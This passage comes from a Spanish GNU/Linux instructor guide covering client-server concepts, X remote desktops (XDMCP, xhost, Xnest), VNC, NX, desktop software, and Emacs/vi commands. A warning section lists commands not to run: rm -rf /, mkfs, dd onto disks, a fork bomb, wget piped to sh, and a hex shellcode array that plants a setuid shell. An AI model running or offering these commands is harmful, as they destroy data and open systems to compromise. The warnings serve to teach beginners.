que facilita y clarifica el diseño del sistema.La separación entre cliente y servidor es una separación de tipo lógico, donde el servidor no se ejecuta necesariamente sobre una sola máquina ni es necesariamente un sólo programa. Los tipos específicos de servidores incluyen los servidores web, los servidores de archivo, los servidores del correo, etc. Mientras que sus propósitos varían de unos servicios a otros, la arquitectura básica seguirá siendo la misma.Una disposición muy común son los sistemas multicapa en los que el servidor se descompone en diferentes programas que pueden ser ejecutados por diferentes computadoras aumentando así el grado de distribución del sistema.La arquitectura cliente-servidor sustituye a la arquitectura monolítica en la que no hay distribución, tanto a nivel físico como a nivel lógico.La red cliente-servidor es aquella red de comunicaciones en la que todos los clientes están conectados a un servidor, en el que se centralizan los diversos recursos y aplicaciones con que se cuenta; y que los pone a disposición de los clientes cada vez que estos son solicitados. Esto significa que todas las gestiones que se realizan se concentran en el servidor, de manera que en él se disponen los requerimientos provenientes de los clientes que tienen prioridad, los archivos que son de uso público y los que son de uso restringido, los archivos que son de sólo lectura y los que, por el contrario, pueden ser modificados, etc. Este tipo de red puede utilizarse conjuntamente en caso de que se este utilizando en una red mixta.

Características

En la arquitectura C/S el remitente de una solicitud es conocido como cliente. Sus características son:

• Es quien inicia solicitudes o peticiones, tienen por tanto un papel activo en la comunicación (dispositivo maestro o amo).

• Espera y recibe las respuestas del servidor.• Por lo general, puede conectarse a varios servidores a la vez.• Normalmente interactúa directamente con los usuarios finales mediante una

interfaz gráfica de usuario.• Al contratar un servicio de redes , se tiene que tener en la velocidad de

conexión que le otorga al cliente y el tipo de cable que utiliza , por ejemplo: cable de cobre ronda entre 1 ms y 50 ms.

Al receptor de la solicitud enviada por cliente se conoce como servidor. Sus características son:

• Al iniciarse esperan a que lleguen las solicitudes de los clientes, desempeñan entonces un papel pasivo en la comunicación (dispositivo esclavo).

• Tras la recepción de una solicitud, la procesan y luego envían la respuesta al cliente.

• Por lo general, aceptan conexiones desde un gran número de clientes (en ciertos casos el número máximo de peticiones puede estar limitado).

• No es frecuente que interactúen directamente con los usuarios finales.

Ventajas

• Centralización del control: los accesos, recursos y la integridad de los datos son controlados por el servidor de forma que un programa cliente defectuoso o no autorizado no pueda dañar el sistema. Esta centralización también facilita la tarea de poner al día datos u otros recursos (mejor que en las redes P2P)..

• Escalabilidad: se puede aumentar la capacidad de clientes y servidores por separado. Cualquier elemento puede ser aumentado (o mejorado) en cualquier

Diplomado de GNU/Linux73

Page 74: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

momento, o se pueden añadir nuevos nodos a la red (clientes y/o servidores).• Fácil mantenimiento: al estar distribuidas las funciones y responsabilidades

entre varios ordenadores independientes, es posible reemplazar, reparar, actualizar, o incluso trasladar un servidor, mientras que sus clientes no se verán afectados por ese cambio (o se afectarán mínimamente). Esta independencia de los cambios también se conoce como encapsulación.

• Existen tecnologías, suficientemente desarrolladas, diseñadas para el paradigma de C/S que aseguran la seguridad en las transacciones, la amigabilidad de la interfaz, y la facilidad de empleo.

Desventajas

• La congestión del tráfico ha sido siempre un problema en el paradigma de C/S. Cuando una gran cantidad de clientes envían peticiones simultaneas al mismo servidor, puede ser que cause muchos problemas para éste (a mayor número de clientes, más problemas para el servidor). Al contrario, en las redes P2P como cada nodo en la red hace también de servidor, cuanto más nodos hay, mejor es el ancho de banda que se tiene.

• El paradigma de C/S clásico no tiene la robustez de una red P2P. Cuando un servidor está caído, las peticiones de los clientes no pueden ser satisfechas. En la mayor parte de redes P2P, los recursos están generalmente distribuidos en varios nodos de la red. Aunque algunos salgan o abandonen la descarga; otros pueden todavía acabar de descargar consiguiendo datos del resto de los nodos en la red.

• El software y el hardware de un servidor son generalmente muy determinantes. Un hardware regular de un ordenador personal puede no poder servir a cierta cantidad de clientes. Normalmente se necesita software y hardware específico, sobre todo en el lado del servidor, para satisfacer el trabajo. Por supuesto, esto aumentará el coste.

• El cliente no dispone de los recursos que puedan existir en el servidor. Por ejemplo, si la aplicación es una Web, no podemos escribir en el disco duro del cliente o imprimir directamente sobre las impresoras sin sacar antes la ventana previa de impresión de los navegadores.

Dirección

Los métodos de dirección en ambientes del servidor de cliente se pueden describir como sigue:

• Dirección del proceso de la máquina: la dirección se divide como proceso@máquina. Por lo tanto 56@453 indicaría el proceso 56 en la computadora 453.

• Servidor de nombres: los servidores de nombres tienen un índice de todos los nombres y direcciones de servidores en el dominio relevante.

• Localización de Paquetes: Los mensajes de difusión se envían a todas las computadoras en el sistema distribuido para determinar la dirección de la computadora de la destinación.

• Comerciante: Un comerciante es un sistema que pone en un índice todos los servicios disponibles en un sistema distribuido. Una computadora que requiere un servicio particular comprobará con el servicio que negocia para saber si existe la dirección de una computadora que proporciona tal servicio.

Diplomado de GNU/Linux74

Page 75: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Ejemplos

Visitar un sitio web es un buen ejemplo de la arquitectura cliente/servidor. El servidor web sirve las páginas web al navegador (el cliente). La mayoría de los servicios de Internet son tipo de servidores. Por ejemplo, si estás leyendo este artículo en Wikipedia, la computadora y el navegador web serían considerados un cliente, y las computadoras, las bases de datos, y los usos que componen Wikipedia serían considerados el servidor. Cuando tu navegador web solicita un artículo particular de Wikipedia, el servidor de Wikipedia encuentra toda la información requerida para exhibir el artículo en la base de datos de Wikipedia, la monta en una página web considerada como interfaz gráfica, y la envía de nuevo a tu navegador web.Otro ejemplo seria un juego online, el numero de servidores depende del juego pero supongamos que tienen 2, cuando tu lo descargas y lo instalas tienes un cliente, si tienes solo un computador en casa y juegan 3 personas, existen un cliente, 3 usuarios y 2 servidores pero depende de ti a cual te conectas, si cada uno instala el juego en sus propios ordenadores, serian 3 clientes, 3 usuarios y 2 servidores.

XDMCP

(siglas de "X Display Manager Control Protocol", "Protocolo de Control de Administrador de la Pantalla X" en español) es un protocolo utilizado en redes para comunicar un ordenador servidor que ejecuta un sistema operativo con un gestor de ventanas basado en X-Window, con el resto de clientes que se conectarán a éste con propósitos interactivos.Un X Display Manager (administrador de pantalla X) mantiene los procesos del servidor X activos en él, conectándolo a una pantalla física y proporcionando un cuadro de diálogo que permita iniciar sesión en el mismo a todos los ordenadores que lo requieran.

Este protocolo escucha por el User Datagram Protocol (UDP) en el puerto 177 y por el Transmission Control Protocol (TCP) en el puerto 6000. En ambos casos responde a peticiones de tipo QUERY y BROADCAST_QUERY enviando un paquete tipo WILLING al equipo que le contactó.Cuando un servidor X corre en un X terminal independiente, muestra una lista de clientes conectables (un XDMCP Chooser). Esta lista puede estar compuesta por:

• Una lista predefinida de máquinas y sus direcciones de red respectivas;.• Una lista que el XDMCP de turno obtiene mediante una petición broadcast, la cual

normalmente coincide con la lista de las máquinas locales TCP/IP.Es común que el servidor XDMCP se muestre a sí mismo en la lista. Cuando el usuario selecciona una máquina de la lista, el servidor X que corre en la máquina local se conecta al administrador de pantalla X de la máquina remota.X proporciona XDM (X Window Display Manager) como administrador de pantalla primario. Otros ejemplos de administradores de pantalla son:

• GDM (GNOME)• KDM (KDE)• WINGs Display Manager• Entrance (usando la arquitectura utilizada en Enlightenment v.17).

Para abrir este puerto, ya sea el 177 o el 6000, se debe modificar el archivo:/etc/gdm/custom.conf [en gnome]/usr/share/config/kdm/kdmrc [en kde]

Para el caso de gnome, que es el que estaremos viendo, el archivo se ve como esta

Diplomado de GNU/Linux75

Page 76: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

muestra:

# GDM configuration storage

[daemon]

[security]

[xdmcp]

[greeter]

[chooser]

[debug]

Basta con agregar dos cosas al archivo para abrir el puerto y luego reiniciar el “gdm” lo que logramos al reiniciar la maquina, esto antes era mas fácil ya que existía un servicio llamado “gdm” que al reiniciarlo, asumía los cambios y abría el puerto de inmediato.

[xdmcp]Enable=true

[security]DisallowTCP=false

Luego de reiniciar el gdm, ya sea reiniciando el sistema o como explicamos anteriormente, el puerto 6000 ya estará abierto.Para verificarlo basta con correr el siguiente comando:zxguitar@zxlaptop:~$netstat |grep 6000tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 2342/Xorg off (0.00/0/0)tcp 0 0 :::6000 :::* LISTEN 2342/Xorg off (0.00/0/0)

Claro que si quieres cerrar el puerto, basta con cambiar la linea de [xdmcp] a false, se vería como sigue:[xdmcp]Enable=false

Luego de reiniciar el gdm como se mencionó anteriormente, el puerto debería estar cerrado.

Antes de comenzar a trabajar sobre esta teoría, es bueno que se sepan varias cosas que son necesarias y posibles para realizar esta tarea de escritorios remotos.

*-Hay muchas formas de conectarse a una maquina remota(veremos algunas).*-En algunos casos hay que usar el programa “xhost” para autorizar la conexión.

X (conexión remota)

El servidor X, por la naturaleza de su diseño, soporta la tecnología de escritorio remoto como se menciono anteriormente.

Diplomado de GNU/Linux76

Page 77: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

El escritorio remoto, usando el X, consiste en exportar(enviar) el display de un cliente a un servidor.

Para ello, en el servidor(quien espera la conexión) debe estar permitida la IP del cliente que envía, solo así podrá visualizarse el X de quien envía.Para permitir una IP en el servidor(quien espera la conexión), se hace de la siguiente manera:zxguitar@zxlaptop:~$ xhost +10.0.0.2en otras palabras, lo que se esta permitiendo es que la maquina que tiene la IP 10.0.0.2 nos envíe sus aplicaciones gráficas.

Si se quiere eliminar se hace de la siguiente manera:zxguitar@zxlaptop:~$ xhost -10.0.0.2

Si se quiere permitir un rango de red completo se realiza de la siguiente forma:zxguitar@zxlaptop:~$ xhost +

Si se quiere bloquear el rango:zxguitar@zxlaptop:~$ xhost -

Aquí tenemos un ejemplo de como enviar una aplicación sencilla al servidor cuya IP es 10.0.0.2zxguitar@zxlaptop:~$ xclock -display 10.0.0.2:0.0

Cabe mencionar que no todas las aplicación soportan la opción “-display” por lo que tendríamos problemas a la hora de querer enviar otra aplicación al servidor que deseamos por lo que debemos realizar el siguiente comando con el cual exportamos nuestro DISPLAY para que todas las aplicaciones vallan al servidor que deseamos.zxguitar@zxlaptop:~$ export DISPLAY=10.0.0.2:0.0

A partir de este momento, todo lo que ejecutemos en nuestra maquina, aparecerá en el server indicado. Para que todo vuelva a la normalidad tendríamos que exportar nuevamente la variable DISPLAY=0.0 que indica la maquina local.

Para importar o traer el X(Sistema de logging) de un servidor a mi maquina y entrar como un usuario, lo hacemos de la siguiente manera.

Presionar CTRL+ALT+F1 y luego ingresar(Datos del logging) al sistema.zxguitar@zxlaptop:~$ X -query <hostname>o tambiénzxguitar@zxlaptop:~$ X -query 10.0.0.2

Si deseas regresar al tu gráfico anterior, tienes que presionar CTRL+ALT+F7 y para ver el X server que acabas de importar de la IP 10.0.0.2, debes presionar CTRL+ALT+F8.

Xnest

Xnest es un servidor X Window System que direcciona su salida a una ventana(no a una terminal como el X). En otras palabras, Xnest abre una ventana que trabaja como otra pantalla en la cual el usuario puede abrir mas ventanas.

Diplomado de GNU/Linux77

Page 78: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

A nivel de protocolo, Xnest trabaja como un cliente del servidor X que muestra la ventana de Xnest, y como un servidor con respecto a las aplicaciones que abren ventanas dentro de Xnest.

Xnest se puede usar para crear un escritorio virtual de otro equipo, dentro de una ventana. Xnest también se usa para la depuración de servidores y para probar que las aplicaciones funcionen correctamente con distintas resoluciones. El usuario puede escoger el tamaño de la ventana Xnest, que también es el tamaño de la pantalla virtual que contiene. De esta manera se puede iniciar una ventana Xnest con el tamaño de un PDA para probar si una aplicación funciona correctamente en el tamaño de pantalla del dispositivo.

Para abrir un escritorio remoto Xnest se puede usar para mostrar localmente un escritorio remoto de otro equipo.Usando XDMCP, Xnest puede ser usado para ejecutar un escritorio virtual de otro computador dentro de una ventana. Esto puede ser llevado a cabo por ejemplo mediante el comando: zxguitar@zxlaptop:~$ Xnest :10 -query other_computer_name

La máquina remota debe estar configurada para aceptar conexiones XDMCP entrantes de la máquina local (la que ejecuta el comando anterior).

De forma alternativa, Xnest puede ser ejecutado en la máquina remota mientras se muestra su ventana localmente. Como cualquier otra aplicación X, esto puede ser llevado a cabo especificando a la aplicación remota que el display es un servidor X local (configurando la variable de entorno DISPLAY) y haciendo que el servidor X local acepte conexiones de aplicaciones remotas (usando xauth); ambas cosas se logran usando SSH, por ejemplo con ssh -X nombre_otro_computador para conectar desde una máquina local a una remota. Cuando el servidor se ejecuta remotamente (startx -- Xnest -geometry 800x600), como el display se redirecciona de regreso a la máquina local (con la debida configuración cliente/servidor de SSH), se mostrará la ventana del programa tal como cualquier otra aplicación lanzada remotamente.Más aun, al comportarse Xnest como cualquier servidor X regular, aplicaciones remotas pueden ser lanzadas de manera que se conecten a un servidor Xnest local.

Abrir una sesión en mi ventana Xnest de un PC cuya IP sea la 10.0.0.5, lo hago como sigue.Xnest :1 -query 10.0.0.5

Es bueno mencionar que esta practica funciona desde Ubuntu o Fedora a CentOS. Para que funcione a la inversa el proceso se ha complicado un poco mas ya que el sistema GDM, que es en gran parte el que tiene que ver con esto, ha cambiado mucho, por lo que las versiones recientes, ya no es igual.

VNC

A diferencia de lo que hemos visto anteriormente, esta es una opción(talvez la que mas le convenga) mas útil a la hora de dar un soporte a un usuario, ya que se comparte el escritorio y mientras usted esta conectado al PC, el usuario remoto puede ver lo que usted esta haciendo.

Diplomado de GNU/Linux78

Page 79: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

VNC son las siglas en inglés de Virtual Network Computing (Computación Virtual en Red).VNC es un programa de software libre basado en una estructura cliente-servidor el cual nos permite tomar el control del ordenador servidor remotamente a través de un ordenador cliente. También llamado software de escritorio remoto. VNC no impone restricciones en el sistema operativo del ordenador servidor con respecto al del cliente: es posible compartir la pantalla de una máquina con cualquier sistema operativo que soporte VNC conectándose desde otro ordenador o dispositivo que disponga de un cliente VNC portado.La versión original del VNC se desarrolló en Reino Unido, concretamente en los laboratorios AT&T, en Cambridge. El programa era de código abierto por lo que cualquiera podía modificarlo y existen hoy en día varios programas para el mismo uso.En la enseñanza VNC sirve para que el profesor comparta su pantalla con los alumnos, por ejemplo en un laboratorio. También puede usarse para que un técnico ayude a un usuario inexperto, el técnico ve remotamente el problema que informa el usuario.El programa servidor suele tener la opción de funcionar como servidor HTTP para mostrar la pantalla compartida en un navegador con soporte de Java. En este caso el usuario remoto (cliente) no tiene que instalar un programa cliente de VNC, éste es descargado por el navegador automáticamente.El VNC trabaja por el puerto 5900.

vino

Vino es el servidor VNC por defecto en Ubuntu para compartir tu escritorio con otros usuarios.Para VNC hay muchos clientes, pero ubuntu también viene con uno por defecto cuyo nombre es “vinagre”.En caso de no tenerlo, para instalar solo hay que hacer:En Ubuntu/Debianroot@zxlaptop:~# apt-get install vino vinagre

Fedora/RedHatroot@zxlaptop:~# yum install vino vinagre

Para configurar vino en gnome se debe ir a System > Preferences > Remote Desktop en el menú y habilitar la opción “Allow other users to view your desktop”.Esta seria la configuración del lado del server.

En el caso del cliente, solo se necesita un cliente que soporte VNC, puede ser tsclient o remmina.Solo necesitarás poner la IP:PUERTO, por ejemplo. “10.0.0.5:5900”

En el caso de ambos, hay que estar seguro de que tengan el pluggin de VNC para poderse conectar al servidor.

Con estos clientes también es posible conectarse a maquinas con sistemas windows, el cual soporta el protocolo RDP.

NX

NX es un programa informático que realiza conexiones remotas X11 muy rápidas, lo que permite a los usuarios acceder a escritorios remotos de Linux o Unix incluso bajo conexiones lentas como las realizadas con módem.

Diplomado de GNU/Linux79

Page 80: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

NX realiza una compresión directa del protocolo X11, lo que permite una mayor eficiencia que VNC. La información se envía mediante SSH, por lo que toda la información que se intercambian servidor y cliente está cifrada.

Al cliente que se conecta al servidor NX se le considera cliente liviano.NX está desarrollado por la empresa italiana NoMachine, que ha liberado el código. Existe una implementación libre de esta aplicación, llamada FreeNX.

Eficiencia de NXLa tecnología NX ofrece mayor eficiencia que otras debido principalmente a las características que se listan a continuación:

• Realiza una eficiente compresión del tráfico X.La compresión del tráfico en forma eficiente es necesaria para lograr ejecutar aplicaciones sobre medios de poco ancho de banda y también para permitir ejecutar múltiples sesiones de usuario en redes LAN.

• Utiliza mecanismos de cache para almacenar y reutilizar la información transferida entre cliente y servidor.

NX utiliza un método de cache innovador que divide el mensaje X en dos partes, uno de identificación y otro de datos. La tecnología mantiene en cache únicamente los datos de los últimos mensajes enviados, clasificados por protocolo. A este cache se le conoce como MessageStore y hace que el número de peticiones para mostrar los elementos de pantalla disminuya notoriamente.

• El tiempo consumido en realizar roundtrips es prácticamente nulo.La reducción de roundtrips es fundamental, al igual que el estricto control del flujo de datos que viaja por la red.

• Utiliza un algoritmo de codificación perezoso para realizar actualizaciones de pantalla.

NX posee mecanismos de adaptación para ajustarse a las propiedades de la red (latencia y velocidad de conexión), lo que permite pasar de métodos estrictos de codificación a métodos perezosos que retrasan la actualización de pantalla cuando la red está congestionada.

Objetivos de NX

El principal objetivo de esta tecnología es el de ejecutar a través de Internet aplicaciones que logren tener el mismo aspecto gráfico que cuando se ejecutan en cualquier PC. Generalmente cuando esto ocurre es necesario deshabilitar todo aquello que pueda consumir demasiados recursos, como por ejemplo, menús desplegables, fondos de pantalla, iconos o animaciones gráficas. NX fue diseñado especialmente para soportar estas condiciones y no hacer que usuarios y desarrolladores deban cambiar sus hábitos o su código.

InstalaciónDescargar los paquetes RPM o DEBs según sea el caso de www.nomachine.comEn total son 3 paquetes: Cliente, Nodo y Servidor.El manejo del cliente es muy intuitivo por lo que es fácil de usar, sera explicado en clase.

Diplomado de GNU/Linux80

Page 81: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

1.8 Manejo Desktop

A continuación tenemos una lista de programas que le servirán en la ejecución de sus tareas diarias en su nuevo sistema GNU/Linux.Para ampliar esta información puede visitar: http://ubuntuguide.orghttp://www.fedoraguide.info según sea el caso.

Multimedia

audioamarok (player de audio)rhythmbox (player de audio)audacius (player de audio)banshee (player de audio)brasero (quemar/grabar Cds y DVDs)k3b (quemar/grabar Cds y DVDs)

videovlc (player de video)totem (player de video)mplayer (player de video)winff (convertidor de videos y audio)codecs (apt-get install ubuntu-restricted-extras)avidemux (editor de videos)

Oficina

editores gráficosgedit (notepad para gnome)kedit (notepad para KDE)

evince(lector de PDF)acrobat reader (lector de PDF)chmsee (ver documentos CHM)gnochm (ver documentos CHM)simple scan (escanear documentos)openoffice.org-spellcheck-es (corrector de español)language-support-writing-es (corrector de español)bibletime (estudios bíblicos)Educativas

celestia (simulador del espacio)stellarium (simulador del espacio)oregano (aplicación eléctrica)octavefreematmaximamathomatic

Finanzasgnucashskroogekmymoney

Diplomado de GNU/Linux81

Page 82: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Internet

Browsersfirefoxgoogle-chromeoperachromium

Torrentsdeludgetransmissionktorrentutorrent (wine)

MensajeriapidginempathyaMSNemeseneskypexchat (IRC)

correosthunderbirdevolution

Gráficos

cheesegimp

Programación

IDEsQT CreatorEclipsenetbeansbluefishkompozerkdevelop

Juegos

playonlinuxtux racervdriftalienarenaopenarenatremulousnexuizzdoomskulltag

Diplomado de GNU/Linux82

Page 83: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Herramientas del sistema

Virtualizaciónvirtualboxvmwarexenkvm

wine (emulador de aplicaciones win32)gparted (manejador de particiones)

Algunos consejos y comandos a NO EJECUTAR.

A lo largo del diplomado se irán viendo exactamente que hacen estos comandos, pero durante el aprendizaje pueden haber muchos problemas y errores por desconocimiento que seria bueno evitar.

Este comando ELIMINA todos los archivos y directorios de los discos que estén conectados, ABSOLUTAMENTE TODOS.rm -rf /

Este comando ELIMINA todos los archivos y directorios que se encuentren en la localidad actual, es decir, borra donde se esta ejecutando el comando.rm -rf .

Este es similar al anterior, pero no borra el directorio donde se ejecuta.rm -rf *

Este es otra variación, pero hace básicamente lo mismo que el anterior.rm -r .[^.]*

Estos comandos se usan para crear un File System en un dispositivo, pero para realizar esta tarea ELIMINA ABSOLUTAMENTE TODA LA DATA DEL DISCO.mkfsmkfs.ext3mkfs.anything

Estos comandos escriben data en el dispositivo señalado, pero la escribe encima de todo lo que hay por lo que esto implica perdida o daño en los datos existentes en el disco.any_command > /dev/sdadd if=something of=/dev/sda

Esto es lo que se llama un “forkbomb”, lo que esto causa es que se crean muchos proceso hasta frizar por completo el sistema.:(){:|:&};:

Este comando “wget” sirve para descargar un archivo de internet desde la consola, pero el comando “sh” lo que hace es que ejecuta el archivo sin saber que hay dentro.wget http://some_place/some_filesh ./some_file

Otra forma

Diplomado de GNU/Linux83

Page 84: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

wget http://some_place/some_file -O- | sh

Este es un pedazo de código “malicioso”. Esta en hexadecimal por ende es difícil entenderlo, pero lo que significa es “rm -rf ~ / &”.char esp[] __attribute__ ((section(".text"))) /* e.s.prelease */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;";

Este comando es parecido a los que vimos anteriormente, elimina los archivos de tu directorio home, pero si eres root al momento de ejecutarlo, PERDERAS TODA LA DATA.rm -rf ~ / &

1.9 Editores Vi y Emacs

Emacs

Originalmente consistía en un conjunto de Editor MACroS para el editor TECO y fue escrito por Richard Stallman y Guy Steele en 1975. Desde entonces ha habido múltiples versiones de Emacs, pero las mas populares hoy en día son la GNU Emacs, y Xemacs, un fork de GNU Emacs desarrollado a partir de 1991. Ambos emplean el lenguaje de programación Emacs LISP, que provee la mayor parte de las funcionalidades de edición; el resto de ambos programas esta escrito en C, lenguaje que constituye también la base del propio Emacs LISP. Este último puede emplearse extensamente para personalizar, extender y afinar el Emacs; en esta característica reside buena parte de la potencia del programa.

Al ejecutar:[dorys@localhost ~]$ emacs /etc/passwd

Aparece ocupando toda la pantalla, el llamado frame del editor. Este frame se divide en varias partes:1ro. Barra de menú: proporciona acceso a las funciones de Emacs, organizadas por categoría (buffers, files, tools,...). Para acceder al menú se pulsa f10.

2do. Área de eco o minibuffer: ambos están situados en la última línea de la pantalla. El área, de eco o echo área aparece solo cuando, al escribir una combinación de teclas, se hace una pausa entre las distintas teclas que componen la combinación. EL minibuffer, por su parte, sirve para introducir los eventuales argumentos que se hayan de pasar a un comando.

El minibuffer:

Cuando un comando requiere un argumento no numérico -por ejemplo para abrir un archivo-, el cursor se desplaza a la última línea de la pantalla y se muestra un

Diplomado de GNU/Linux84

Page 85: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

prompt. En el caso de que la orden que activa el minibuffer (una combinación de teclas como las del ejemplo), se puede salir de el mediante la combinación “ctrl g”.

Combinación Resultado

Ctrl x f abre un archivo

Ctrl x g cancela una opción

Ctrl x c sale del editor

Ctrl x z suspende el editor y lo ponemos con fg

Ctrl a nos lleva al comienzo de la línea actual

Ctrl e nos lleva al final de la línea actual

Esc a nos lleva al comienzo del párrafo

Esc e nos lleva al final del párrafo

Ctrl x i inserta un archivo

Ctrl x ctrl w guarda los cambios en otro archivo que no es el original

Ctrl x ctrl s escribe los cambios al archivo original

esc shift > nos lleva al final del archivo

esc shift < nos lleva al comienzo del archivo

Esc v nos lleva a la pagina anterior

Ctrl v nos lleva a la pagina siguiente

Ctrl x u hace "undo"

Esc k borra el párrafo desde el cursor

Ctrl y pega lo que hemos borrado

Ctrl s busca una expresión desde el cursor hacia abajo

Ctrl r busca una expresión desde el cursor hacia arriba

Ctrl n baja una línea

Ctrl u Repite la siguiente acción por defecto 4 veces.

Ctrl v baja una hoja

Esc v sube una hoja

Ctrl p sube una línea

Esc + % Reemplaza una palabra

1.9 VI

Este editor esta disponible para todas las plataformas de sistemas operativos derivados de UNIX, y por ende, todas las distribuciones de GNU/LINUX. Tarde o temprano tendrá que aprender vi en su carrera como administrador de sistemas Unix. Es el editor preferido cuando el espacio en disco es crítico.La forma de invocarlo es:[dorys@Gpl ~]$ vi /etc/passwd

Diplomado de GNU/Linux85

Page 86: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Este editor tiene 2 modos de operación, modo comandos y modo edición.Varias formas de comenzar a escribir o entrar al modo edición:Oprimiendo las teclas: a, o iPara regresar al modo comandos se presiona ESQ.Los comandos básicos::wq Salva y sale:x Salva y sale:q! Sale sin salvarx Borra carácter bajo el cursordw Borra palabrad3w Borra 3 palabrasdd Borra 1 línead$ Borra hasta el final de la linea.7dd Borra 7 lineasu Deshacer cambios efectuadosU Rehaceryy Copiar3e Mueve el cursor al final de la 3ra palabra adelante2w Mueve el cursor al principio de la 2da palabra adelanter Reemplaza el carácter sobre el cual presionas la teclaR Se pone en modo reemplazo hasta que presionas ESQp Pegarctrl f Pantalla siguientectrl b Pantalla anteriorO Inserta línea en blanco encima de la actualo Inserta línea en blanco debajo de la actual:32 Nos lleva a la línea numero 32:$ Nos lleva al final del archivo:3,6s/cosa/casa/g Sustituye desde la linea 3 a la 6 la palabra cosa por casa.:%s/old/new/g Sustituye cada ocurrencia en todo un archivo.:%s/old/new/gc Encuentra todas las ocurrencias y te pregunta si las cambia.:!ls Ejecuta el comando ls o cualquier otro comando.:w TEST Guarda el archivo con el nombre “TEST”/palabra Encuentra una palabra en el archivo

1.10 Practica Fundamentos Capitulo 1

Diplomado de GNU/Linux86

Page 87: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

GNU/Administración

0.0 Que es un proceso0.1 Manejo de Procesos0.2 Creando procesos0.3 Comando ps0.4 Comando top0.5 Estado de los procesos0.6 Ctrl-Z, bg,fg y &0.7 Comando jobs0.8 Enviando señales con kill0.9 Cambiando prioridad con nice0.10 Procesos en /proc0.11 Demonios0.12 Runlevels0.13 Init0.14 Comando Service0.15 Comando Chkconfig0.16 Invonke-rc.d0.17 Opciones con Top0.18 Practica Administración Capitulo 0

1.0 Sistema de Archivos y Permisos1.1 Sistema de archivos (ext2-3-Reiser Etc)1.2 Tipos de sistemas de archivos1.3 Permisos de archivos y directorios (chmod,chown,chgrp)1.4 Sticky bit, SUID y SGID1.5 Links duros y simbólicos1.6 Inodos1.7 Comandos fdisk,mkfs,cfdisk,fsck1.8 Sistema de archivos distribuidos (DFS)1.9 /etc/fstab /etc/mtab /etc/inittab1.10 Practica Administración Capitulo 1

2.0 Administración de Usuarios2.1 Usuarios y Grupos2.2 Cuenta root2.3 Comando su2.4 Paquete sudo2.5 El archivo /etc/passwd2.6 Creando un usuario2.7 Creando,cambiando e identificando un grupo2.8 Comando finger2.9 Archivos personales en /home2.10 /etc/skel2.11 /etc/profile2.12 Variables de usuario2.13 /etc/shadow2.14 Expiración de cuentas2.15 Asignación de usuarios a otros grupos2.16 Practica Administración Capitulo 2

3.0 Programando tareas y Backup3.1 El cron y sus archivos3.2 Crontab,at y batch3.3 /etc/cron.hourly /etc/weekly /etc/cron.monthly3.4 /etc/crontab3.5 Cuando hacer backup3.6 Donde almacenar los backups3.7 Comandos tar,cpio,afio,3.8 Registros del sistema, Syslog3.9 Directorio /var/log3.10 Comandos dmesg,last,lastlog3.11 /etc/syslog.conf3.12 /etc/logrotate.conf3.13 Practica Administración Capitulo 3

Diplomado de GNU/Linux87

Page 88: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Administración

Procesos GNU/Linux.

Cada programa en ejecución genera un proceso. El kernel le suministra recursos a cada proceso y una vez terminado el proceso se lo retira. En esta practica, examinaremos procesos y los dos recursos primarios que ellos controlan: memoria y ciclos del CPU.

Se explicara que es son signaling (llamadas), el cual es el mecanismo utilizado para que los procesos se intercomuniquen. Se explicara que es un Daemon, los cuales son procesos especiales del sistema que se ejecutan dentro del espacio de usuario, y contabilidad de los procesos.

0.0 ¿Que es un proceso?

Un proceso es nada más que un programa en ejecución. Para ser mas preciso digamos que es, el estado actual de ejecución en un dado momento. Este consiste del código del programa, los recursos usados por el programa y la información utilizada para mantener el estado actual del programa. Todo programa en ejecución tiene su propio proceso. (Algunos programas tienen más de un proceso) El kernel utiliza la información del estado del proceso para asignarle recursos, como lo es por ejemplo tiempo del CPU, memoria, archivos y E/S además de otros recursos. También utiliza esta información para determinar como cambiar a otro proceso. A veces los procesos son referidos como tarea (task). GNU/Linux es un sistema operativo multitarea, lo cual da la impresión o ilusión de que muchos procesos se ejecutan simultáneos. El kernel se encarga de que los procesos se dividan el tiempo del CPU en partes pequeñas, llamados ciclos y automáticamente cambia de un proceso a otro. Este cambio es denominado “Cambio de Contexto”. Linux implementa “multitarea con derecho preferente”, lo que simplemente significa que el kernel no necesita ninguna colaboración del programa para llevarlo a cabo, si no que el simplemente forza un cambio de contexto cuando el lo considere necesario.

0.1 Manejo de procesos

